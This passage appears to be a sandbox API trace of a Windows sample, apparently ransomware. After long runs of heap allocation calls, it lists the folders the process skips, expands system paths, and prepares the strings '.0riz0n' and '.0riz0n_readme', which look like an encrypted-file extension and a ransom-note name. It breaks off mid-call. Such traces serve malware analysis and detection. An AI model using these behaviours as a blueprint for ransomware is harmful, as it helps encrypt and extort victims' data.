0x49d1e8 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c750 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c708 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c6c0 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c678 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c630 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0180.433] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.434] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c798) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c750) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c708) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d208) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c6c0) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d218) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c678) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d228) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c630) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d238) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d248) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a5058) returned 1 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=25, lpWideCharStr=0x49dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dae0) returned 1 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49db68) returned 1 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1b0, cbMultiByte=12, lpWideCharStr=0x49db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49db68) returned 1 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dbf0) returned 1 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c168, cbMultiByte=8, lpWideCharStr=0x49dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dbf0) returned 1 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dc78) returned 1 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0180.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c120, cbMultiByte=6, lpWideCharStr=0x49dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd00 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dc78) returned 1 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0180.435] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0180.435] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd00) returned 1 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd00 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c240, cbMultiByte=11, lpWideCharStr=0x49dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd88 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd00) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49dd00 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49de28 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd88) returned 1 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49deb0 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpWideCharStr=0x49deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49deb0) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49deb0 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49df38) returned 1 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0180.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=11, lpWideCharStr=0x49df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dfc0 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49df38) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0180.436] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dfc0) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.436] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a2850 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a2850 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.437] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d618 [0180.437] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2e8 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.438] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2e8) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d618) returned 1 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d618 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2e8 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.439] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.439] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.439] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x4a2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=14, lpWideCharStr=0x49dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0180.440] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x4a2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=10, lpWideCharStr=0x49e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0180.440] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x4a2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=15, lpWideCharStr=0x49e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0180.440] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x4a2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2850, cbMultiByte=56, lpWideCharStr=0x49e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a5058, cbMultiByte=7, lpWideCharStr=0x49e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0180.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a5058, cbMultiByte=14, lpWideCharStr=0x49e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0180.440] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0180.441] CryptStringToBinaryA (in: 